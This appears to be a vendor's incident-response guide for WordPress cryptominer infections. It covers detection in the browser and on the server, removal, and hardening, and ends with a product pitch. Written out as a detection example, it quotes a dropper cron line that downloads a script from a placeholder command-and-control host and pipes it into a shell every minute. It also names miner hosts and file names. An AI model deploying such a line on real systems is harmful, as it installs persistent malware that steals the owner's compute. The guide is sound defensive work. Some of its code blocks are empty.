Two infections wear this symptom and they need different work. One burns your visitors' CPU and leaves your server idle, the other pins your hosting account and leaves visitors fine. About ten minutes of checking settles which you have.
Checked against a live WordPress install on
.
Two infections, one symptom
"A cryptominer on my WordPress site" describes two attacks that share
almost nothing beyond the motive. They arrive through the same kinds of
break-in, they can both be present at once, and every step after this
one differs between them. Read the complaint you actually received.
Browser mining. A JavaScript miner is injected into the
pages your site renders. It runs in the visitor's tab, on the visitor's
processor, and your server does no more work than it did last week. What
reaches you is other people's reports: a laptop fan that spins up on your
pages, an antivirus product or an ad blocker warning about the site,
a browser tab showing high CPU in the task manager. Your own hosting
dashboard looks untouched.
Server-side mining. A miner binary or a PHP process runs
on the machine that hosts the site. Load average sits at the ceiling, the
site crawls for everybody, and your host throttles the account or
suspends it. Visitors notice a slow site and nothing else, because
nothing is being asked of their machines.
Browser mining
Server-side mining
Whose processor
Every visitor's
Yours, or your host's
Who complains
Visitors, antivirus vendors, ad blockers
Your host, then you
Server load
Unchanged
Pinned
Confirmed with
Browser dev tools on a page you load
top, ps, the host's graphs
Lives in
Rendered HTML, so files or the database
A dropped binary and a cron entry
Removal ends at
A clean page source
A dead process and no cron line
One warning before you start measuring anything. The classic advice is to
watch for sustained above-normal CPU, which is what CISA's cryptomining
guidance is built around, and the campaigns that matter now are designed
against exactly that reading. The browser miner found on more than 3,500
sites in July 2025 measured the visitor's device first and then throttled
itself to stay under the threshold, producing no obvious CPU spike in
testing. A quiet fan and a flat graph are not a result.
If your visitors are also being sent somewhere they did not ask to go,
you are looking at a second payload from the same break-in, and
narrowing down which layer is redirecting your visitors
is a faster place to start than this page.
Working out which one you have
Run both sets of checks. They take ten minutes together and each rules
out an entire class of work.
The browser side, in about four minutes
Open your site in a private window with every extension disabled, and
stay logged out. Both matter. Ad blockers block the known mining hosts,
so the miner never loads and your check comes back clean while your
visitors keep mining. Injections routinely exclude the site owner as
well: a 2017 campaign set a cookie called wpt from
wp-admin/admin-header.php and skipped anyone carrying it, so
the only visitor able to fix the site never saw it.
Open the developer tools, go to the Network tab, and click the
WS filter. That filter shows WebSocket connections and nothing
else. A normal WordPress page has none, or has one belonging to a live
chat or a page builder you recognise. A miner keeps one open for the
lifetime of the page and exchanges small frames continuously: select the
connection, open the Messages tab, and you will see traffic in both
directions on an idle page. The 2025 campaign talked to
wss://lokilokitwo[.]de:10006. Read the host, do not visit
it.
Then record ten seconds on the Performance tab while the page sits idle
and you touch nothing. A finished WordPress page should drop to almost no
scripting time. Continuous scripting across several worker threads on a
page nobody is interacting with is the miner. Modern miners spawn Web
Workers so the main thread stays responsive, which is why the page feels
normal while the processor does not.
Two more signals. A .wasm file in the Network list on a
site with no reason to load WebAssembly is a strong one, because the
miners check for WebAssembly support before they start. And the Sources
panel lists worker threads separately, so an unexplained worker running a
script you did not put there is worth reading.
Finally, look at what the server actually sent, before any script had a
chance to rewrite it:
You are reading for two shapes. A src pointing at a domain
you cannot account for, and an inline script with no readable content.
The 2025 loader used the second: a <script defer> tag
whose src was a data:text/javascript;base64
URI, which decodes to a short piece of code that fetches the real miner
from somewhere else. Decoding a block like that without running it is
covered in
reading eval and base64_decode in an injected file.
Some injections only fire for search engine crawlers or for visitors
arriving from a search result. If the page source looks clean, fetch it
once more as a crawler:
curl -s -A "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" https://example.com/
and compare the two.
The server side, in about six minutes
This half needs shell access. If your plan has none, skip to the last
paragraph of this section.
Start with the process list. A miner is a long-lived process holding a
full core, or every core, and it does not stop when traffic does.
bash
top -c
top -u your_hosting_user
ps -ef | sort -k4 -rn | head -20
Read the full command line rather than the process name. Miners are named
to survive a glance. One documented dropper wrote its binary to
/tmp/php with its configuration in /tmp/p.conf,
so ps reported /tmp/php -c /tmp/p.conf: the
word php in a process list on a web server attracts no attention at all.
A 2025 campaign used the name linuxsys for the same reason.
Then read the scheduled tasks, because that is where the miner keeps its
spare copy:
bash
crontab -l
crontab -u your_hosting_user -l
ls -la /etc/cron.d/ /etc/cron.daily/
A dropper cron line is short, runs far too often, and pipes a download
straight into a shell. The published example ran every minute:
* * * * * $LDR http://<c2>/cr2.sh | sh > /dev/null 2>&1.
Anything on your crontab that fetches a remote address and executes the
response is the thing keeping the miner alive, whatever it claims to be.
WordPress has its own scheduler and it is used the same way. This one is
verified and safe to run:
bash
wp cron event list --fields=hook,next_run_relative
Every hook in that list should belong to core, to a plugin you installed,
or to your theme. A hook with a random-looking name, or one due to fire
every minute, is worth tracing back to the code that registered it.
Now look at the directories a dropped binary lives in. They are writable
by everyone and cleaned by nobody:
bash
ls -la /tmp /var/tmp /dev/shm
find wp-content/uploads -name "*.php"
The second command earns its place here for a reason worth knowing:
attackers stage miner payloads on other people's WordPress sites. A 2025
campaign served its binary from the uploads directories of two hacked
WordPress installs. Your uploads folder may be hosting someone else's
miner rather than your own.
With no shell access, you have two things left and both
work. Your hosting panel shows a resource graph, and a miner draws a
distinctive shape on it: a flat ceiling that starts at a specific hour
and never comes down, with no matching rise in visitors. And your host
can see everything you cannot. Open a ticket, say you suspect a
cryptominer, and ask for the process name, its full path, and the time it
first appeared. If the account is already suspended, that ticket is your
first move rather than your last.
Where each one hides
Browser mining: in whatever renders your pages
The script has to reach the HTML, so it lives wherever your HTML is
assembled. Four places carry almost all of it.
The active theme.header.php,
footer.php and functions.php, in that rough
order of popularity. An injection in functions.php usually
takes the form of a function hooked to wp_footer or to
wp_enqueue_scripts, which is the polite WordPress way of
adding a script and looks entirely at home in a theme file.
A plugin nobody installed. A one-file plugin, or a must-use
plugin under wp-content/mu-plugins/, which WordPress loads
on every request and never lists as deactivatable. Both register their
script through the same hooks a real plugin uses.
Core files, edited in place. The 2017 campaign changed
wp_footer() inside
wp-includes/general-template.php to
require_once('options-footer.php'), and dropped
wp-includes/options-footer.php beside it to do the actual
work. Two files, one of which belongs to WordPress and one of which
does not, and the second is named to sit quietly in a directory full of
similar names.
The database. A row in wp_options holding a
base64-encoded blob, with a small piece of injected PHP that reads it
and evaluates it. A documented toolkit used the option names
admin_head, admin_body,
admin_footer, dolly_css,
dolly_work and hello_dolly, all of which read
as WordPress internals and none of which are.
For the database, sort the autoloaded options by size. An injected
payload is far larger than a real setting:
sql
SELECT option_name, LENGTH(option_value) AS len
FROM wp_options
WHERE autoload IN ('yes','on','auto-on','auto')
ORDER BY len DESC
LIMIT 20;
Four values, not one. WordPress 6.6 added on,
auto-on and auto to that column, and every
option written since then uses one of them. A stock 7.0.4 install had 139
rows on yes and 25 on the newer spellings, so
autoload = 'yes' quietly skips a quarter of what autoloads.
Run it with wp db query, and change the table prefix if
yours differs. The wp_ prefix is only a default; read
$table_prefix in wp-config.php for the real
one. A query that matches nothing prints nothing at all, so silence
here is a result and not a broken command.
The Coinhive string you will still find, and what it means now
Coinhive was the service that made browser mining easy, and its script
is what most guides on this subject still describe. It shut down in March
2019. A security researcher acquired the domain in May 2020 and pointed
it at a notice, and in March 2021 it was still receiving more than
100,000 unique visitors a day, peaking at 3.63 million requests, from
pages asking for /lib/coinhive.min.js and
/lib/cryptonight.wasm. Those pages had been infected for
years and nobody had noticed.
So a Coinhive reference in your files today mines nothing. It is still
the most useful thing you could have found. It dates the compromise to
before 2019, it proves nobody has read those files since, and whatever
let the injection in was never closed. Look for what else arrived
afterwards.
The services that took over the traffic after March 2019 are named in the
research as WebMinePool, CryptoLoot and CoinIMP. They are legitimate
businesses selling a mining script, and their code ends up on hacked
sites the same way Coinhive's did. Recognising one of those names in your
page source tells you the same story as Coinhive, with a payload that
still works.
Server-side mining: a binary and something that restarts it
This half has two components and you need both. The binary does the
mining and is disposable. The persistence puts it back, and it is the one
that decides whether your afternoon is over.
The binary is almost always a build of XMRig, which is an open-source
Monero miner with legitimate uses, recompiled and stripped so that
signatures do not match. Documented samples have been written to
/tmp, named as xmrig_64,
xmrig_32, php or linuxsys, and
paired with a small configuration file naming the pool and the wallet.
The 2025 ShadowCaptcha campaign, which starts with injected JavaScript on
hacked WordPress sites, still ships an XMRig-based miner and some
variants fetch their configuration from a Pastebin URL instead of
carrying it.
Persistence comes in three shapes, and you may have more than one.
A cron entry on your hosting user, running every minute,
fetching a small shell script and piping it into a shell. The script
checks whether the miner is running and re-downloads it if not.
A dropper left in the web root, usually a PHP file somewhere
under wp-content/uploads/, which anyone can call over HTTP
to restart the whole sequence.
A WordPress scheduled event, registered by injected PHP, which
runs the dropper whenever your site gets traffic. It needs no shell
access, which makes it the shape you are most likely to meet on shared
hosting.
Read the binary if you want to, and do not run it.
file <path> tells you it is a stripped ELF, and
strings <path> | less usually shows the pool hostname
and the wallet address in plain text. Both commands read the file and
neither executes it. Executing a miner to confirm it is a miner turns a
cleanup into an incident.
Removing it by hand
Take a copy of every file you are about to edit, outside the web root,
before you edit it. You will want to read the injection again later, and
the entry point is usually reconstructed from exactly those bytes.
The browser miner
Find every copy. Search the whole install for the loader domain
you read out of the page source, and separately for the shapes that
carry it. Injected loaders are almost never obfuscated with anything
clever:
bash
Widen the window until the list stops growing. A forged timestamp is
possible and common enough to matter, so a normal-looking date proves
nothing while an odd one proves a great deal.
Cut the injection out, do not delete the file. The block sits at
the very top of the file before the opening comment, or at the very
bottom after the last closing brace, and it is formatted differently
from everything around it because a script wrote it. Remove it and the
file should still read as a sensible file. A file that is nothing but
the injection, such as the dropped
wp-includes/options-footer.php in the 2017 campaign, can
go entirely.
Undo the edits to core files. Anything you found inside
wp-admin/ or wp-includes/ should be replaced
with the published copy of your exact version rather than edited by
hand, because you can get the original for free:
restoring modified core, plugin and theme files
covers where each copy comes from.
Clean the database rows. Run the autoload query from the section
above. Read each oversized option before you touch it, decode it if it
is encoded, and delete only the rows you have read. Take a database
dump first. This step is manual work with no undo, so it is the one to
slow down on.
Re-check the page. Fresh private window, extensions off, logged
out, Network tab with the WS filter on. An empty list and a page that
drops to no scripting time when idle is the finished state. Check the
home page, one post, and one page, because injections are sometimes
scoped to a template.
The server-side miner
Order matters more here than anywhere else on this page. A cron entry
that runs every minute will replace a binary you deleted before you have
finished typing the next command.
If the account is suspended, talk to the host first. They can
see the process list, and a suspended account often cannot run the
commands in the rest of this list. Ask them for the process name, the
full path of the binary, and the first time they saw it.
Remove the persistence before anything else. Read your crontab,
remove the offending line, and confirm it is gone. Check the per-user
crontabs and /etc/cron.d/ if the machine is yours. Inside
WordPress, list the scheduled events and remove any hook you traced to
injected code:
bash
crontab -l
crontab -e
wp cron event list --fields=hook,next_run_relative
Kill the running process. Take the PID from the process list you
already have. Kill it and then check the list again, because a
supervisor script will restart it and that tells you the persistence
is still there.
Delete the binary and its configuration. Both files, from
wherever they were written. Keep a copy outside the web root if you may
need to hand it to your host or to an incident responder later.
Find the dropper. Something wrote that binary, and it is
normally a PHP file reachable over HTTP:
bash
Read before you delete. Plugins legitimately drop small guard files
and generated config caches under uploads/, and measured
installs carried between zero and seven of them.
Which PHP files belong under uploads
sorts the honest ones from the droppers.
Wait, then look again. Check the process list after five
minutes, after an hour, and after the next reboot if you control one.
Miner droppers commonly restart on boot, so a machine that comes back
up mining had a second persistence you have not found.
One more thing about a machine you control. If the miner ran as root
rather than as your web user, the compromise reached further than your
site and none of the above settles it. Rebuild the server from a known
image and move the site onto it.
Closing the way in
Both miners are the payload. Neither is the break-in, and removing a
payload while leaving the door open buys you a few days. Three entry
points account for almost all of it, and you can close all three in an
afternoon.
An unpatched plugin or theme. Update everything, and
delete what you are not using rather than deactivating it, because a
deactivated plugin's files are still on disk and still reachable by URL.
Nulled themes and plugins belong here too: paid code from a free download
site arrives with something added.
A stolen or guessed administrator password. The 2025
ShadowCaptcha research names compromised administrator credentials
alongside plugin exploits as the way in. Rotate every administrator
password, turn on two-factor authentication, and read the user list for
accounts you did not create. Change the authentication salts in
wp-config.php as well, which logs out every existing session
including the attacker's.
A shell that was already there. If the miner arrived
alongside a web shell, the shell is the thing to hunt. Stop
uploads/ executing PHP at the web server level, which
neutralises the most common landing spot for both droppers and shells,
and add define( 'DISALLOW_FILE_EDIT', true ); to
wp-config.php so the theme editor stops being a one-click
injection tool for anyone who reaches your dashboard.
For Apache, a small file inside the uploads directory does the first
part:
wp-content/uploads/.htaccessapache
<FilesMatch "\.(?i:php|phar|phtml|php[0-9])(\.|$)">
Require all denied
</FilesMatch>
The trailing (\.|$) and the (?i:…) are both
load-bearing. Without them the rule misses an uppercase
.PHP and a double extension such as
shell.php.jpg. Both spellings were tested against this rule
on Apache 2.4.67 and both returned 403.
The uploads guide
carries the nginx equivalent and a marker-file test for whether your host
honours either.
On nginx the equivalent is a location block in the server configuration,
because nginx does not read .htaccess files. Your host will
add it if you ask.
If the miner comes back after all of that, the entry point is still open
and the sequence to work through is
finding what keeps letting the malware back in.
Reinfection within days is information rather than bad luck: it tells you
the way in was never one of the three above, and narrows where to look
next.
Questions
My server CPU looks normal. Does that clear the site?
No. A browser miner runs on your visitors' machines and costs your server nothing, so a flat load average is the expected reading for that infection rather than evidence against it. The 2025 campaign that hit more than 3,500 sites also throttled itself on the visitor's machine and produced no obvious CPU spike in testing, so a quiet laptop clears nothing either. Look at the page's outbound WebSocket connections instead.
I found coinhive.min.js in my theme. Is it still mining?
No. Coinhive shut down in March 2019 and the domain was handed to a security researcher in May 2020, so the script it points at no longer mines anything. What that string does tell you is serious: an injection has sat in your files for years without anyone removing it, and whatever let it in was never closed. Treat it as a live incident with a dead payload, and check for newer injections beside it.
My host suspended the account for CPU. What do I do first?
Contact them before you change anything. On shared hosting they can see the process list and the resource graph that you cannot, they usually already know the path of the binary, and a suspended account often cannot run the commands you would need anyway. Ask for the process name, its full path, and the time it first appeared.
An ad blocker stops the miner. Is that good enough?
It protects the visitors who run one and hides the problem from you. Blocklists cover the known mining hosts, so the miner fails to load for those visitors while every other visitor keeps mining. It also means your own browser check comes back clean with your extensions on. Test in a private window with extensions disabled.
I deleted the miner and it came back within the hour.
Something scheduled is putting it back. On the server side that is usually a cron entry running every minute, which fetches the dropper again and re-downloads the binary, so removing the binary before the cron line achieves nothing. Inside WordPress it is usually a scheduled event or a second injected file that rewrites the first. Remove the persistence first, then the payload, then check again after five minutes.
Can I just delete the theme file that carries the script?
Only if the file is not one your site needs. An injected script is usually added to a file that already does a job, such as the theme's footer.php or functions.php, so deleting the file takes the site's real code with it. Cut out the injected block and leave the rest of the file in place. A file that contains nothing but the injection can go.
Most of the work on this page is finding things. The browser miner is a
handful of injected lines in files that are otherwise doing their job,
and you found them by reading page source, grepping, and comparing
timestamps. Segurium does that half automatically: it fingerprints every
file on the site, and when it finds an injection it removes the injected
block and writes the rest of the file back working, so a theme file that
carried a loader stays a theme file.
The rest of the page is yours to work through. The injected row in
wp_options comes out through the autoload query and the
database step above. The crontab entry, the running process and the
binary in /tmp sit outside the site entirely, which puts
them between you and your host. Check all of it before you decide the
site is clean.